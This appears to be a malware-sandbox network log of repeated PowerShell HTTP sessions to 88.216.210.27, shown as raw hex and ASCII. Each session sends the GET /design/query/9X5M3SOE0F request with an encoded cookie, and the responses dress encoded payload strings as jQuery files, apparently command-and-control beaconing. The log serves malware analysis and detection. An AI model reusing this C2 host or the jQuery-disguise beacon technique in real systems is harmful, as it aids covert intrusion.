Apr 9, 2023 02:59:35.793288946 CEST	609	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:35.793345928 CEST	610	IN	Data Raw: 4e 4f 42 49 4a 4f 4c 41 4c 4f 4f 43 4c 4e 4a 45 4b 47 4d 45 49 46 46 43 4d 44 50 4c 4f 48 42 47 4e 4b 41 47 4c 4d 43 4c 48 43 47 42 49 4d 42 50 43 46 47 41 4b 43 43 46 46 46 4a 49 42 42 49 46 43 4c 50 43 4f 4f 45 41 49 4e 4f 4e 43 45 4a 41 4c 4c Data Ascii: NOBIJOLALOOCLNJEKGMEIFFCMDPLOHBGNKAGLMCLHCGBIMBPCFGAKCCFFFJIBBIFCLPCOOEAINONCEJALLIJKFKFEAOCKEDO/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'objec

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.5	49815	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:36.096487045 CEST	611	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=mE_7EMOMm1cSuFQRoZkVcGIzeHv1CLtKDwBS3TdjYhe7eIxgitR9B2BFhsoksht_cCb-HZtjJi5bNvxNjuPXSz6RN_Xy8u6uElWnSMQYZHYMU_1LqOlXZdo3BfWwP706XMl4m9Dhk0sqtd_klaM_ywvBehZKX4DGWFeKPNWd-qmte-O9 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:36.245363951 CEST	612	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:36 GMT Server: CloudFront Content-Length: 2196 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:36.245390892 CEST	613	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:36.245433092 CEST	614	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.5	49816	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:36.567483902 CEST	615	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=-Ik-CqNKXk1yfpELwV_QagL1vWGVzn5Qb8aXx1elpw3bvkl66hK4HQCDQ9BEdN5lEOA7B_ul4zQ78DlX7iUSUV5X8u-SNCu0cpNiUqTeoWxslThRyC-Sf7rxwO_Q-XggPA-9gbAnVlFKcxr-9WX60WsHvwwqmUXcOJFPJrVbP7PNvSan User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:36.726636887 CEST	615	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:36 GMT Server: CloudFront Content-Length: 2292 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:36.726670980 CEST	617	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:36.726711035 CEST	618	IN	Data Raw: 4c 44 4b 41 4a 4b 41 50 48 4e 50 48 4d 41 48 46 42 49 4c 44 42 41 48 42 4f 43 50 4c 44 42 44 46 4d 41 4b 4e 47 46 4d 4e 43 43 4e 42 4f 4e 44 46 45 44 47 48 47 49 44 46 46 4d 4d 48 43 47 4c 45 47 45 4a 42 4e 44 4c 42 44 4a 41 50 46 44 4d 42 48 50 Data Ascii: LDKAJKAPHNPHMAHFBILDBAHBOCPLDBDFMAKNGFMNCCNBONDFEDGHGIDFFMMHCGLEGEJBNDLBDJAPFDMBHPHCNNHHFGGIMGGG/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'objec

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.5	49817	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:37.018872976 CEST	619	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=QzUKFBj2alPJwqUVeuPkdLlJiX8uckpO1Hqj2ewZkxNgAn1kUa6MA7s_d87_yOp7q1wPGUAZ1yqATA1JVZkmT-XrxvEpiB-qyS9WTB9ilXLXKQxPc5OmYQFN9PFrRUw-h7OJnwubYk_xzy7gTtnOz9C7ixKRJXHCgy17OA7nC612ARK5 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:37.178519011 CEST	619	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:37 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:37.178673983 CEST	620	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:37.178718090 CEST	622	IN	Data Raw: 50 46 50 48 43 4f 50 46 46 47 44 43 4d 49 4a 45 43 4b 45 45 4d 42 50 41 46 41 4c 4a 4a 46 4f 50 49 4a 4e 4a 4d 49 4a 4c 4d 48 50 49 4e 4d 46 46 48 4e 4b 44 45 46 4d 43 44 4e 4c 45 49 42 43 4b 43 4e 47 4c 42 49 42 46 46 45 43 4c 44 4d 41 4c 4f 4a Data Ascii: PFPHCOPFFGDCMIJECKEEMBPAFALJJFOPIJNJMIJLMHPINMFFHNKDEFMCDNLEIBCKCNGLBIBFFECLDMALOJMPKMJJOPFOBMAEBGKGBIPJIBNOJPMBEJAAAHAABFCGGGDBIONAKIGOFBNCIKGBMEJACJPNPFECEOJCAGIDCGFHHLNJAMLPLCEICLFKCIMCHNMOEGJHJIINLLANKPAOLMKCOIPOPBICOMBBGBIMEOPGLDFHOLKDDLN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.5	49818	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:37.443516016 CEST	623	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=pRtWwv7YNoUv7PnDnM24ol9n1anIXBaYMlT_Dwo3z8WGLCGyt4DQ1V0RKxgZ5ratTXJTz6Y3i_xmYlGfs7d6mQPFmifPpkN8LwEKmvlMyaQxB1CZlb36t-djqCeNaxDoYZ3VSe21PpkX4XI2qPeSGTaV18R3Cy0UZQMn7ujJV3uQL05v User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:37.592242002 CEST	623	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:37 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:37.592279911 CEST	624	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:37.592303038 CEST	625	IN	Data Raw: 4b 4e 49 48 41 48 47 48 50 4a 47 46 41 42 47 4a 48 4c 44 4a 47 42 49 41 4a 50 4c 47 42 4d 42 44 4a 45 42 47 49 47 45 42 48 41 45 49 45 43 44 43 4e 45 4b 49 48 48 4c 4b 50 46 44 46 4b 4c 50 49 46 44 4b 47 4f 4a 46 41 4e 4a 4c 4a 48 43 44 49 4c 50 Data Ascii: KNIHAHGHPJGFABGJHLDJGBIAJPLGBMBDJEBGIGEBHAEIECDCNEKIHHLKPFDFKLPIFDKGOJFANJLJHCDILPEJHEHNCIPHPBKOIHPBBGOBKNOLNKNDKBMDOEFIDFPIBLEHGFKIKGOPCPGOMDKMBOCEMDOPEKNMNFEJ/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.5	49819	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:37.865665913 CEST	626	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=WPyX5wM_96DSCzjmYSp5h6KAFIw1u9e9z7M-KvfQDuB7y-CXSmcR8KD26j3kAXeIsJWS6lvQStmbhZC6TlC7vP4iWwIyQYJZ0ubLvwSrCIHM4JG8aFo7khqEaQJwjNHNnHoUbBBS_7zqBrMTVRBTPMtyFuGK7OwxmOTmyxUull5tyI9K User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:38.015805960 CEST	627	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:37 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:38.015842915 CEST	628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:38.015872955 CEST	629	IN	Data Raw: 4f 4c 4b 4f 4a 4f 43 49 4a 42 4b 4a 4e 47 48 41 4d 4e 43 43 48 42 46 4c 4e 4c 41 50 4e 4a 4b 48 4f 4f 48 47 4e 4b 4a 42 4b 48 4f 45 45 47 50 4d 46 47 45 42 47 4f 50 4d 49 47 4c 45 47 43 4c 4a 42 4d 4c 47 4c 46 42 42 42 46 50 4b 43 45 50 4c 4c 50 Data Ascii: OLKOJOCIJBKJNGHAMNCCHBFLNLAPNJKHOOHGNKJBKHOEEGPMFGEBGOPMIGLEGCLJBMLGLFBBBFPKCEPLLPFNDHNLEMJBCFELPFMLCBGMNLNHIDNGBEKKMJFGGOOKNDJMEEHOCPOOEPOJEPOLOCMCJHMJJEJIDMPNPNDGOOOFLPFJFOBBCECCCICBNOPAIPMFOIHKNDNNJMOHFHCHCCEFPLELGBOCLEIDCBAKMDDMHOJGIOCFOCA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.5	49820	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:38.307868958 CEST	630	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=g6jJUNhrqRcJX2ZRun4nMHnUSjvu74kKFOdgnSyEUFegn74gkTNPR3uitIo_VSk_a8HMXYCEFG5A0c4NlQTlCyV2BbXpFdzuCbKVCN__VjYXtM8Lsw5lJcHQN7Wr2I96Ry5K28sGoQsxUu2kjkQNixAmSFZRuLKGQ7C4fM56yOm2nNH9 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:38.469604969 CEST	631	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:38 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:38.469649076 CEST	632	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:38.469672918 CEST	633	IN	Data Raw: 4b 4e 4a 41 42 46 45 4b 48 41 41 44 41 42 4a 45 44 42 49 4f 4e 4a 50 4b 47 49 4e 49 4c 45 4f 43 41 47 4c 4a 48 4b 50 4f 4f 4b 4f 42 42 4a 48 44 41 45 48 47 41 4e 50 4a 4a 46 48 45 44 4a 4c 43 47 48 4d 47 43 4b 44 4a 45 43 50 45 47 42 45 4c 4c 4b Data Ascii: KNJABFEKHAADABJEDBIONJPKGINILEOCAGLJHKPOOKOBBJHDAEHGANPJJFHEDJLCGHMGCKDJECPEGBELLKGJLBFKNDJOAKFBHGDBEBNECCDFEEIBJNPEGOJJIMOHAPCHFAHNGLIJLACDINNCPLGKFOIOJOLGAINFEDGBGFOCIFKFNPPPJKNAJMIAMLGEKIPLDEDDMLIJFEADELBDCOLCMPKHNIAGKPGM/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.5	49821	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:38.756764889 CEST	634	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=mfE808IyXJQTBpPSoCfSs2ONv7j0tnyJDr6VHjbdpdS6xkuji2q6xGH7QQklDNy8cZg53prd4e1aiDuOj10QiD8v8DbzTCltE-tgi8Wmo7UN7TqIqVeQptuJwjaxgXr5XXe_WNFfVIgrCxgnlB34CAp_vdVL4UcFWelN_9QjPWqsxSR- User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:38.924525023 CEST	634	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:38 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:38.924566984 CEST	636	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:38.924597979 CEST	637	IN	Data Raw: 50 43 47 44 4b 46 4c 48 48 41 4b 4c 44 43 4f 47 42 50 4d 45 4b 47 50 46 50 4c 4b 49 47 50 4c 4c 46 46 43 4b 41 48 42 43 4e 4a 41 45 41 4a 43 43 49 4a 43 4d 47 50 4e 4a 4d 4b 4e 42 41 4a 4a 47 46 45 47 42 4b 4c 4d 43 4f 47 4f 41 4b 47 4c 4b 43 50 Data Ascii: PCGDKFLHHAKLDCOGBPMEKGPFPLKIGPLLFFCKAHBCNJAEAJCCIJCMGPNJMKNBAJJGFEGBKLMCOGOAKGLKCPJOHCDMGBHKNKLKFPCFGOAIAKBEAKKPNPFMLNCMFLEPEHANPDLKFLMDMIMAFGKEDJJALCMPKDEJLKFPFBKCPICOGFIIIGNFJPHCIGGCAHCLIPFEJJKKBFEMKGKGJBFKOCFPDLJCBOGPAHBNJOOELCHCOJACGBGNFGL

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.5	49822	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:39.183321953 CEST	638	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=uvOQ4OEw8KcwBD_hgyV-gECPE4vXtNC6Lbw5LRXfCeeZxOeQqGgW90L57ToGDnCPUpqV7bnfTd55ipe9rF-8uxwtXAXQToVeMOnMuOakD4Yu75a7ilU8lfiLbgWSg9bKfnUTa_Jd-LsICbQUtx9UOyl9EeZo4-s2euvhzPchkVmPx4hN User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:39.331959963 CEST	638	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:39 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:39.332015991 CEST	640	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:39.332047939 CEST	641	IN	Data Raw: 46 45 4d 50 47 4a 4c 46 47 44 4c 4a 4e 48 4a 47 45 43 48 48 4f 42 46 4c 41 42 50 41 48 4d 4f 48 46 4b 4a 44 50 49 50 41 4a 4a 4c 4f 4e 48 49 41 4f 4a 46 42 4b 49 44 4e 42 4d 41 4e 4e 43 4e 47 44 4f 48 49 43 46 42 4d 4f 48 4d 50 48 4a 48 4b 45 42 Data Ascii: FEMPGJLFGDLJNHJGECHHOBFLABPAHMOHFKJDPIPAJJLONHIAOJFBKIDNBMANNCNGDOHICFBMOHMPHJHKEBGFNLGLEDJANGJMICLDLPEFPDGPJDJHNDLHJFHNFPMFFBOOMNOOJMJIDODAIDJMIIMEHIJLHEDCDDCMDFPOGNDHHEHJJCFBLKANBGDCHKDBGMEH/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.5	49823	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:39.613281965 CEST	642	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=9xY2fazVVjp94Zl8zsDYHQ1qtRaaUXYnYFmfsFg6r3rUIUEN5Y2wag8cS6dL69YSH38zcPQ660M0bzEg4boaJlHI-pidqyPDfQxqJatBqRtjCjAmx7CaCLVuyJjfZnBXM5C19r-4XiZF7BKJ-vrypmSYt3slBk2rNw5HUbrEN8TCIi7Q User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:39.763375044 CEST	642	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:39 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:39.763403893 CEST	644	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:39.763427973 CEST	645	IN	Data Raw: 43 50 4d 48 44 45 45 48 41 46 48 49 4f 43 43 4f 4f 43 4b 4a 49 48 46 42 4f 48 4e 46 41 46 45 4d 47 4c 41 47 48 50 4d 49 43 46 4f 41 4c 42 45 50 49 41 4b 43 4f 4a 47 4b 44 47 44 4b 50 4e 42 4b 49 50 49 47 48 49 4c 41 4f 43 4e 44 46 42 44 4a 48 4b Data Ascii: CPMHDEEHAFHIOCCOOCKJIHFBOHNFAFEMGLAGHPMICFOALBEPIAKCOJGKDGDKPNBKIPIGHILAOCNDFBDJHKAJOEHGMAGJJDJPHFDHMNOIILFMHEFNIHOMHNCMCLPOGAMFEGCNJHKBHENIDCCJIPAEAJELMCBNNHECPJNIPAGCAANHKHJKHADFEJHDIEJOJENGHGBPKAHJBLLBJEJBEGBNFPCIJGCNOHGJBJBNIDABAJOHPKELGIC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49698	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:44.561029911 CEST	159	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=BcPh814AgbSPNE7yPBUPk_-_YphohKGpkoxIPqrvePQm9JaDF1hn5P3JnCm5PgGc7ark_gbvPM3GuuauE2_NqKMdLRZvfvRNj9m9q1mUfpWR3-eoNWVNhke7HxYts6fZwUVieE1tiai3OcUHCC8lKJZNYPXX05olxduQ30gR4Eow9_le User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:44.709651947 CEST	159	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:44 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:44.709677935 CEST	161	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
